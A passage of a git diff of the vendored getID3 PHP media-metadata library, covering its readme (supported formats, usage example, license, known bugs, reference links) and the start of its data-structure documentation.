-* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/) -* http://jfaul.de/atl/ -* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/) -* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html -* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm -* http://www.fastgraph.com/help/bmp_os2_header_format.html -* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm -* http://flac.sourceforge.net/format.html -* http://www.research.att.com/projects/mpegaudio/mpeg2.html -* http://www.audiocoding.com/wiki/index.php?page=AAC -* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf -* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt -* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm -* http://www.nullsoft.com/nsv/ -* http://www.wotsit.org/download.asp?f=iso9660 -* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html -* http://www.cdroller.com/htm/readdata.html -* http://www.speex.org/manual/node10.html -* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc -* http://www.faqs.org/rfcs/rfc2361.html -* http://ghido.shelter.ro/ -* http://www.ebu.ch/tech_t3285.pdf -* http://www.sr.se/utveckling/tu/bwf -* http://ftp.aessc.org/pub/aes46-2002.pdf -* http://cartchunk.org:8080/ -* http://www.broadcastpapers.com/radio/cartchunk01.htm -* http://www.hr/josip/DSP/AudioFile2.html -* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html -* http://www.pure-mac.com/extkey.html -* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt -* http://www.headbands.com/gspot/ -* http://www.openswf.org/spec/SWFfileformat.html -* http://j-faul.virtualave.net/ -* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html -* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html -* http://sswf.sourceforge.net/SWFalexref.html -* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt -* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm -* http://developer.apple.com/quicktime/icefloe/dispatch012.html -* http://www.csdn.net/Dev/Format/graphics/PCD.htm -* http://tta.iszf.irk.ru/ -* http://www.atsc.org/standards/a_52a.pdf -* http://www.alanwood.net/unicode/ -* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html -* http://www.its.msstate.edu/net/real/reports/config/tags.stats -* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt -* http://brennan.young.net/Comp/LiveStage/things.html -* http://www.multiweb.cz/twoinches/MP3inside.htm -* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended -* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ -* http://www.unicode.org/unicode/faq/utf_bom.html -* http://tta.corecodec.org/?menu=format -* http://www.scvi.net/nsvformat.htm -* http://pda.etsi.org/pda/queryform.asp -* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm -* http://trac.musepack.net/trac/wiki/SV8Specification -* http://wyday.com/cuesharp/specification.php -* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html -* http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header -* http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf +///////////////////////////////////////////////////////////////// +/// getID3() by James Heinrich // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// + +***************************************************************** +***************************************************************** + + getID3() is released under multiple licenses. You may choose + from the following licenses, and use getID3 according to the + terms of the license most suitable to your project. + +GNU GPL: https://gnu.org/licenses/gpl.html (v3) + https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) + https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) + +GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) + +Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) + +getID3 Commercial License: https://www.getid3.org/#gCL (payment required) + +***************************************************************** +***************************************************************** +Copies of each of the above licenses are included in the 'licenses' +directory of the getID3 distribution. + + + +----------------------------------------------+ + | If you want to donate, there is a link on | + | https://www.getid3.org for PayPal donations. | + +----------------------------------------------+ + + +Quick Start +=========================================================================== + +Q: How can I check that getID3() works on my server/files? +A: Unzip getID3() to a directory, then access /demos/demo.browse.php + + + +Support +=========================================================================== + +Q: I have a question, or I found a bug. What do I do? +A: The preferred method of support requests and/or bug reports is the + forum at http://support.getid3.org/ + + + +Sourceforge Notification +=========================================================================== + +It's highly recommended that you sign up for notification from +Sourceforge for when new versions are released. Please visit: +http://sourceforge.net/project/showfiles.php?group_id=55859 +and click the little "monitor package" icon/link. If you're +previously signed up for the mailing list, be aware that it has +been discontinued, only the automated Sourceforge notification +will be used from now on. + + + +What does getID3() do? +=========================================================================== + +Reads & parses (to varying degrees): + ¤ tags: + * APE (v1 and v2) + * ID3v1 (& ID3v1.1) + * ID3v2 (v2.4, v2.3, v2.2) + * Lyrics3 (v1 & v2) + + ¤ audio-lossy: + * MP3/MP2/MP1 + * MPC / Musepack + * Ogg (Vorbis, OggFLAC, Speex, Opus) + * AAC / MP4 + * AC3 + * DTS + * RealAudio + * Speex + * DSS + * VQF + + ¤ audio-lossless: + * AIFF + * AU + * Bonk + * CD-audio (*.cda) + * FLAC + * LA (Lossless Audio) + * LiteWave + * LPAC + * MIDI + * Monkey's Audio + * OptimFROG + * RKAU + * Shorten + * TTA + * VOC + * WAV (RIFF) + * WavPack + + ¤ audio-video: + * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV) + * AVI (RIFF) + * Flash + * Matroska (MKV) + * MPEG-1 / MPEG-2 + * NSV (Nullsoft Streaming Video) + * Quicktime (including MP4) + * RealVideo + + ¤ still image: + * BMP + * GIF + * JPEG + * PNG + * TIFF + * SWF (Flash) + * PhotoCD + + ¤ data: + * ISO-9660 CD-ROM image (directory structure) + * SZIP (limited support) + * ZIP (directory structure) + * TAR + * CUE + + +Writes: + * ID3v1 (& ID3v1.1) + * ID3v2 (v2.3 & v2.4) + * VorbisComment on OggVorbis + * VorbisComment on FLAC (not OggFLAC) + * APE v2 + * Lyrics3 (delete only) + + + +Requirements +=========================================================================== + +* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier) +* PHP 5.0.5 (or higher) for getID3() 1.8.x (and up) +* PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up) +* PHP 5.3.0 (or higher) for getID3() 2.0.x (and up) +* at least 4MB memory for PHP. 8MB or more is highly recommended. + 12MB is required with all modules loaded. + + + +Usage +=========================================================================== + +See /demos/demo.basic.php for a very basic use of getID3() with no +fancy output, just scanning one file. + +See structure.txt for the returned data structure. + +*> For an example of a complete directory-browsing, <* +*> file-scanning implementation of getID3(), please run <* +*> /demos/demo.browse.php <* + +See /demos/demo.mysql.php for a sample recursive scanning code that +scans every file in a given directory, and all sub-directories, stores +the results in a database and allows various analysis / maintenance +operations + +To analyze remote files over HTTP or FTP you need to copy the file +locally first before running getID3(). Your code would look something +like this: + +// Copy remote file locally to scan with getID3() +$remotefilename = 'http://www.example.com/filename.mp3'; +if ($fp_remote = fopen($remotefilename, 'rb')) { + $localtempfilename = tempnam('/tmp', 'getID3'); + if ($fp_local = fopen($localtempfilename, 'wb')) { + while ($buffer = fread($fp_remote, 32768)) { + fwrite($fp_local, $buffer); + } + fclose($fp_local); + + $remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER); + $remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null); + + // Initialize getID3 engine + $getID3 = new getID3; + + $ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename)); + + // Delete temporary file + unlink($localtempfilename); + } + fclose($fp_remote); +} + +Note: since v1.9.9-20150212 it is possible a second and third parameter +to $getID3->analyze(), for original filesize and original filename +respectively. This permits you to download only a portion of a large remote +file but get accurate playtime estimates, assuming the format only requires +the beginning of the file for correct format analysis. + +See /demos/demo.write.php for how to write tags. + + + +What does the returned data structure look like? +=========================================================================== + +See structure.txt + +It is recommended that you look at the output of +/demos/demo.browse.php scanning the file(s) you're interested in to +confirm what data is actually returned for any particular filetype in +general, and your files in particular, as the actual data returned +may vary considerably depending on what information is available in +the file itself. + + + +Notes +=========================================================================== + +getID3() 1.x: +If the format parser encounters a critical problem, it will return +something in $fileinfo['error'], describing the encountered error. If +a less critical error or notice is generated it will appear in +$fileinfo['warning']. Both keys may contain more than one warning or +error. If something is returned in ['error'] then the file was not +correctly parsed and returned data may or may not be correct and/or +complete. If something is returned in ['warning'] (and not ['error']) +then the data that is returned is OK - usually getID3() is reporting +errors in the file that have been worked around due to known bugs in +other programs. Some warnings may indicate that the data that is +returned is OK but that some data could not be extracted due to +errors in the file. + +getID3() 2.x: +See above except errors are thrown (so you will only get one error). + + + +Disclaimer +=========================================================================== + +getID3() has been tested on many systems, on many types of files, +under many operating systems, and is generally believe to be stable +and safe. That being said, there is still the chance there is an +undiscovered and/or unfixed bug that may potentially corrupt your +file, especially within the writing functions. By using getID3() you +agree that it's not my fault if any of your files are corrupted. +In fact, I'm not liable for anything :) + + + +License +=========================================================================== + +GNU General Public License - see license.txt + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to: +Free Software Foundation, Inc. +59 Temple Place - Suite 330 +Boston, MA 02111-1307, USA. + +FAQ: +Q: Can I use getID3() in my program? Do I need a commercial license? +A: You're generally free to use getID3 however you see fit. The only + case in which you would require a commercial license is if you're + selling your closed-source program that integrates getID3. If you + sell your program including a copy of getID3, that's fine as long + as you include a copy of the sourcecode when you sell it. Or you + can distribute your code without getID3 and say "download it from + getid3.sourceforge.net" + + + +Why is it called "getID3()" if it does so much more than just that? +=========================================================================== + +v0.1 did in fact just do that. I don't have a copy of code that old, but I +could essentially write it today with a one-line function: + function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); } + + +Future Plans +=========================================================================== +https://www.getid3.org/phpBB3/viewforum.php?f=7 + +* Better support for MP4 container format +* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0) +* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm) +* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669) +* Support for ACE (thanks Vince) +* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid) +* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header +* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding) +* Warn if MP3s change version mid-stream (in full-scan mode) +* check for corrupt/broken mid-file MP3 streams in histogram scan +* Support for lossless-compression formats + (http://www.firstpr.com.au/audiocomp/lossless/#Links) + (http://compression.ca/act-sound.html) + (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm) +* Support for RIFF-INFO chunks + * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html + (thanks Nick Humfrey ) + * http://abcavi.narod.ru/sof/abcavi/infotags.htm + (thanks Kibi) +* Better support for Bink video +* http://www.hr/josip/DSP/AudioFile2.html +* http://www.pcisys.net/~melanson/codecs/ +* Detect mp3PRO +* Support for PSD +* Support for JPC +* Support for JP2 +* Support for JPX +* Support for JB2 +* Support for IFF +* Support for ICO +* Support for ANI +* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl) +* Support for DVD-IFO (region, subtitles, aspect ratio, etc) + (thanks p*quaedackersØplanet*nl) +* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content + (thanks n8n8Øyahoo*com) +* Support for a2b +* Optional scan-through-frames for AVI verification + (thanks rockcohenØmassive-interactive*nl) +* Support for TTF (thanks infoØbutterflyx*com) +* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171) +* Support for SMAF (http://smaf-yamaha.com/what/demo.html) + https://www.getid3.org/phpBB3/viewtopic.php?t=182 +* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195) +* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195) +* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com) +* Parse XML data returned in Ogg comments +* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com) +* ID3v2 genre string creator function +* More complete parsing of JPG +* Support for all old-style ASF packets +* ASF/WMA/WMV tag writing +* Parse declared T??? ID3v2 text information frames, where appropriate + (thanks Christian Fritz for the idea) +* Recognize encoder: + http://www.guerillasoft.com/EncSpot2/index.html + http://ff123.net/identify.html + http://www.hydrogenaudio.org/?act=ST&f=16&t=9414 + http://www.hydrogenaudio.org/?showtopic=11785 +* Support for other OS/2 bitmap structures: Bitmap Array('BA'), + Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT') + http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm +* Support for WavPack RAW mode +* ASF/WMA/WMV data packet parsing +* ID3v2FrameFlagsLookupTagAlter() +* ID3v2FrameFlagsLookupFileAlter() +* obey ID3v2 tag alter/preserve/discard rules +* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm +* proper checking for LINK/LNK frame validity in ID3v2 writing +* proper checking for ASPI-TLEN frame validity in ID3v2 writing +* proper checking for COMR frame validity in ID3v2 writing +* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html +* decode GEOB ID3v2 structure as encoded by RealJukebox, + decode NCON ID3v2 structure as encoded by MusicMatch + (probably won't happen - the formats are proprietary) + + + +Known Bugs/Issues in getID3() that may be fixed eventually +=========================================================================== +https://www.getid3.org/phpBB3/viewtopic.php?t=25 + +* Cannot determine bitrate for MPEG video with VBR video data + (need documentation) +* Interlace/progressive cannot be determined for MPEG video + (need documentation) +* MIDI playtime is sometimes inaccurate +* AAC-RAW mode files cannot be identified +* WavPack-RAW mode files cannot be identified +* mp4 files report lots of "Unknown QuickTime atom type" + (need documentation) +* Encrypted ASF/WMA/WMV files warn about "unhandled GUID + ASF_Content_Encryption_Object" +* Bitrate split between audio and video cannot be calculated for + NSV, only the total bitrate. (need documentation) +* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the + problem of large VorbisComments spanning multiple Ogg pages, but + but only OggVorbis files can be processed with vorbiscomment. +* The version of "head" supplied with Mac OS 10.2.8 (maybe other + versions too) does only understands a single option (-n) and + therefore fails. getID3 ignores this and returns wrong md5_data. + + + +Known Bugs/Issues in getID3() that cannot be fixed +-------------------------------------------------- +https://www.getid3.org/phpBB3/viewtopic.php?t=25 + +* 32-bit PHP installations only: + Files larger than 2GB cannot always be parsed fully by getID3() + due to limitations in the 32-bit PHP filesystem functions. + NOTE: Since v1.7.8b3 there is partial support for larger-than- + 2GB files, most of which will parse OK, as long as no critical + data is located beyond the 2GB offset. + Known will-work: + * all file formats on 64-bit PHP + * ZIP (format doesn't support files >2GB) + * FLAC (current encoders don't support files >2GB) + Known will-not-work: + * ID3v1 tags (always located at end-of-file) + * Lyrics3 tags (always located at end-of-file) + * APE tags (always located at end-of-file) + Maybe-will-work: + * Quicktime (will work if needed metadata is before 2GB offset, + that is if the file has been hinted/optimized for streaming) + * RIFF.WAV (should work fine, but gives warnings about not being + able to parse all chunks) + * RIFF.AVI (playtime will probably be wrong, is only based on + "movi" chunk that fits in the first 2GB, should issue error + to show that playtime is incorrect. Other data should be mostly + correct, assuming that data is constant throughout the file) +* PHP <= v5 on Windows cannot read UTF-8 filenames + + +Known Bugs/Issues in other programs +----------------------------------- +https://www.getid3.org/phpBB3/viewtopic.php?t=25 + +* MusicBrainz Picard (at least up to v1.3.2) writes multiple + ID3v2.3 genres in non-standard forward-slash separated text + rather than parenthesis-numeric+refinement style per the ID3v2.3 + specs. Tags written in ID3v2.4 mode are written correctly. + (detected and worked around by getID3()) +* PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames + into an existing ID3v2.2 tag which, of course, breaks things +* Windows Media Player (up to v11) and iTunes (up to v10+) do + not correctly handle ID3v2.3 tags with UTF-16BE+BOM + encoding (they assume the data is UTF-16LE+BOM and either + crash (WMP) or output Asian character set (iTunes) +* Winamp (up to v2.80 at least) does not support ID3v2.4 tags, + only ID3v2.3 + see: http://forums.winamp.com/showthread.php?postid=387524 +* Some versions of Helium2 (www.helium2.com) do not write + ID3v2.4-compliant Frame Sizes, even though the tag is marked + as ID3v2.4) (detected by getID3()) +* MP3ext V3.3.17 places a non-compliant padding string at the end + of the ID3v2 header. This is supposedly fixed in v3.4b21 but + only if you manually add a registry key. This fix is not yet + confirmed. (detected by getID3()) +* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment + strings, supposed to be in the format "NAME=value" but actually + written just "value" (detected by getID3()) +* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's + actually ABR or VBR. +* iTunes (versions "v7.0.0.70" is known-guilty, probably + other versions are too) writes ID3v2.3 comment tags using an + ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is + not valid for ID3v2.3+ + (detected by getID3() since 1.9.12-201603221746) +* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably + other versions are too) writes ID3v2.3 comment tags using a + frame name 'COM ' which is not valid for ID3v2.3+ (it's an + ID3v2.2-style frame name) (detected by getID3()) +* MP2enc does not encode mono CBR MP2 files properly (half speed + sound and double playtime) +* MP2enc does not encode mono VBR MP2 files properly (actually + encoded as stereo) +* tooLAME does not encode mono VBR MP2 files properly (actually + encoded as stereo) +* AACenc encodes files in VBR mode (actually ABR) even if CBR is + specified +* AAC/ADIF - bitrate_mode = cbr for vbr files +* LAME 3.90-3.92 prepends one frame of null data (space for the + LAME/VBR header, but it never gets written) when encoding in CBR + mode with the DLL +* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed + to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for + TwinVQF v2.0 (detected by getID3()) +* Ahead Nero encodes TwinVQF files 1 second shorter than they + should be +* AAC-ADTS files are always actually encoded VBR, even if CBR mode + is specified (the CBR-mode switches on the encoder enable ABR + mode, not CBR as such, but it's not possible to tell the + difference between such ABR files and true VBR) +* STREAMINFO.audio_signature in OggFLAC is always null. "The reason + it's like that is because there is no seeking support in + libOggFLAC yet, so it has no way to go back and write the + computed sum after encoding. Seeking support in Ogg FLAC is the + #1 item for the next release." - Josh Coalson (FLAC developer) + NOTE: getID3() will calculate md5_data in a method similar to + other file formats, but that value cannot be compared to the + md5_data value from FLAC data in a FLAC file format. +* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 & + v0.4.0 - getID3() will calculate md5_data in a method similar to + other file formats, but that value cannot be compared to the + md5_data value from FLAC v0.5.0+ +* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with + a WCOM frame that has no data portion +* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis + files, thus making them corrupt. +* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the + last byte of data from an MP3 file when appending a new ID3v1 tag. + (detected by getID3()) +* Lossless-Audio files encoded with and without the -noseek switch + do actually differ internally and therefore cannot match md5_data +* iTunes has been known to append a new ID3v1 tag on the end of an + existing ID3v1 tag when ID3v2 tag is also present + (detected by getID3()) +* MediaMonkey may write a blank RGAD ID3v2 frame but put actual + replay gain adjustments in a series of user-defined TXXX frames + (detected and handled by getID3() since v1.9.2) + + + + +Reference material: +=========================================================================== + +[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/] +* http://www.id3.org/id3v2.4.0-structure.txt +* http://www.id3.org/id3v2.4.0-frames.txt +* http://www.id3.org/id3v2.4.0-changes.txt +* http://www.id3.org/id3v2.3.0.txt +* http://www.id3.org/id3v2-00.txt +* http://www.id3.org/mp3frame.html +* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html +* http://www.dv.co.yu/mpgscript/mpeghdr.htm +* http://www.mp3-tech.org/programmer/frame_header.html +* http://users.belgacom.net/gc247244/extra/tag.html +* http://gabriel.mp3-tech.org/mp3infotag.html +* http://www.id3.org/iso4217.html +* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT +* http://www.xiph.org/ogg/vorbis/doc/framing.html +* http://www.xiph.org/ogg/vorbis/doc/v-comment.html +* http://leknor.com/code/php/class.ogg.php.txt +* http://www.id3.org/iso639-2.html +* http://www.id3.org/lyrics3.html +* http://www.id3.org/lyrics3200.html +* http://www.psc.edu/general/software/packages/ieee/ieee.html +* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html +* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html +* http://www.jmcgowan.com/avi.html +* http://www.wotsit.org/ +* http://www.herdsoft.com/ti/davincie/davp3xo2.htm +* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html +* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org) +* http://midistudio.com/Help/GMSpecs_Patches.htm +* http://www.xiph.org/archives/vorbis/200109/0459.html +* http://www.replaygain.org/ +* http://www.lossless-audio.com/ +* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe +* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf +* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/) +* http://jfaul.de/atl/ +* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/) +* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html +* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm +* http://www.fastgraph.com/help/bmp_os2_header_format.html +* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm +* http://flac.sourceforge.net/format.html +* http://www.research.att.com/projects/mpegaudio/mpeg2.html +* http://www.audiocoding.com/wiki/index.php?page=AAC +* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf +* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt +* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm +* http://www.nullsoft.com/nsv/ +* http://www.wotsit.org/download.asp?f=iso9660 +* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html +* http://www.cdroller.com/htm/readdata.html +* http://www.speex.org/manual/node10.html +* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc +* http://www.faqs.org/rfcs/rfc2361.html +* http://ghido.shelter.ro/ +* http://www.ebu.ch/tech_t3285.pdf +* http://www.sr.se/utveckling/tu/bwf +* http://ftp.aessc.org/pub/aes46-2002.pdf +* http://cartchunk.org:8080/ +* http://www.broadcastpapers.com/radio/cartchunk01.htm +* http://www.hr/josip/DSP/AudioFile2.html +* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html +* http://www.pure-mac.com/extkey.html +* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt +* http://www.headbands.com/gspot/ +* http://www.openswf.org/spec/SWFfileformat.html +* http://j-faul.virtualave.net/ +* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html +* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html +* http://sswf.sourceforge.net/SWFalexref.html +* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt +* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm +* http://developer.apple.com/quicktime/icefloe/dispatch012.html +* http://www.csdn.net/Dev/Format/graphics/PCD.htm +* http://tta.iszf.irk.ru/ +* http://www.atsc.org/standards/a_52a.pdf +* http://www.alanwood.net/unicode/ +* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html +* http://www.its.msstate.edu/net/real/reports/config/tags.stats +* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt +* http://brennan.young.net/Comp/LiveStage/things.html +* http://www.multiweb.cz/twoinches/MP3inside.htm +* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended +* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ +* http://www.unicode.org/unicode/faq/utf_bom.html +* http://tta.corecodec.org/?menu=format +* http://www.scvi.net/nsvformat.htm +* http://pda.etsi.org/pda/queryform.asp +* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm +* http://trac.musepack.net/trac/wiki/SV8Specification +* http://wyday.com/cuesharp/specification.php +* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html +* http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header +* http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf * https://fileformats.fandom.com/wiki/Torrent_file \ No newline at end of file diff --git a/vendor/james-heinrich/getid3/structure.txt b/vendor/james-heinrich/getid3/structure.txt index 5f76cc9804..c6d7f7efb9 100644 --- a/vendor/james-heinrich/getid3/structure.txt +++ b/vendor/james-heinrich/getid3/structure.txt @@ -1,2276 +1,2276 @@ -///////////////////////////////////////////////////////////////// -/// getID3() by James Heinrich // -// available at http://getid3.sourceforge.net // -// or https://www.getid3.org // -// also https://github.com/JamesHeinrich/getID3 // -///////////////////////////////////////////////////////////////// -// // -// changelog.txt - part of getID3() // -// See readme.txt for more details // -// /// -///////////////////////////////////////////////////////////////// - -What does the returned data structure look like? -================================================ - -Hint: If you take a look at the nicely-formatted output of -/demos/demo.browse.php you can generally see where the data you want -is returned. - -Note that what is described below is only a rough guide to what data -is actually returned by getID3(), since the actual data returned -depends entirely on what data is in your file, what type of file it -is, what kind of data is in the tags, etc. In addition, some formats -(Quicktime for example) use a freeform recursive structure that is -impossible to document completely. - -In the vast majority of cases, all the data you'll need is located -in the root of the array or the special arrays described below in -Section 1 (['audio'], ['video'], ['tags_html'], ['replay_gain']). - -It is suggested that for most applications you should use tag data -from the root ['tags_html'] array, as this is the only location -where data is stored in a consistant format: HTML-compatible -character entities (ie Ӓ) for characters outside the 0x20-0x7F -range (printable ISO-8859-1 characters). This data can be used as-is -for output in HTML, and can be converted to whatever character set -you wish to use if the output is not HTML. - -If you want to merge all available tags (for example, ID3v2 + ID3v1) -into one array, you can call -getid3_lib::CopyTagsToComments($ThisFileInfo) -and you'll then have ['comments'] and ['comments_html'] which are -identical to ['tags'] and ['tags_html'] except the array is one -dimension shorter (no tag type array keys). For example, artist is: -['tags_html']['id3v1']['artist'][0] or ['comments_html']['artist'][0] - - -Some commonly-used information is found in these locations: - -File type: ['fileformat'] // ex 'mp3' -Song length: ['playtime_string'] // ex '3:45' (minutes:seconds) - ['playtime_seconds'] // ex 225.13 (seconds) -Overall bitrate: ['bitrate'] // ex 113485.71 (bits-per-second - divide by 1000 for kbps) -Audio frequency: ['audio']['sample_rate'] // ex 44100 (Hertz) -Artist name: ['comments_html']['artist'][0] // ex 'Elvis' (if CopyTagsToComments() is used - see above) - // more than one artist may be present, you may want to use implode: - // implode(' & ', ['comments_html']['artist']) - - -///////////////////////////////////////////////////////////////// - -array() { - // SECTION 1: Values that are present for most or all file types - - ['getID3version']=>string() // version of getID3() that scanned this file (ex: '1.6.2') - ['error']=>array() // if present, contains one or more fatal error messages - ['warning']=>array() // if present, contains one or more non-fatal warning messages - ['exist']=>boolean() // does this file actually exist? - ['fileformat']=>string() // one of the standard filetype abbreviations ('mp3', 'riff', 'quicktime', etc) - ['filename']=>string() // filename only, no path - ['filenamepath']=>string() // full filename with path - ['filepath']=>string() // path to file, not including filename - ['filesize']=>integer() // filesize in bytes - ['md5_file']=>string() // md5 hash of entire file - ['md5_data']=>string() // md5 hash of portion of file excluding prepended and appeneded metainformation tags (ID3, APE, etc) - may be identical to ['md5_file'] - ['md5_data_source']=>string() // md5 hash of original source file before compression (currently used by FLAC, OptimFROG, WavPack v4+) - ['sha1_file']=>string() // sha1 hash of entire file - ['sha1_data']=>string() // sha1 hash of portion of file excluding prepended and appeneded metainformation tags (ID3, APE, etc) - may be identical to ['md5_file'] - ['avdataoffset']=>integer() // offset in bytes where audio/video data starts and prepended tags end - ['avdataend']=>integer() // offset in bytes where audio/video data ends and appended tags start - ['bitrate']=>double() // average bitrate for entire file (all audio/video streams), in bits per second - ['mime_type']=>string() // if present, MIME type of scanned file - ['playtime_seconds']=>double() // playing time of file, in seconds - ['playtime_string']=>string() // playing time of file, formatted as : - ['tags']=>array() // array of all metainformation tags present in file ('id3v1', 'id3v2', 'ape', 'riff', 'asf', etc) - ['audio']=>array() { - ['bitrate']=>double() // average bitrate for audio portion of file (all audio streams), in bits per second - ['bitrate_mode']=>string() // 'cbr' (Constant Bit Rate) or 'vbr' (Variable Bit Rate) - ['bits_per_sample']=>integer() // - ['channelmode']=>string() // 'mono' or 'stereo' - ['channels']=>integer() // number of audio channels - ['codec']=>string() // name of audio compression codec - ['compression_ratio']=>double() // ratio of compressed byte size of audio to uncompressed size - ['dataformat']=>string() // one of the standard filetype abbreviations ('mp3', 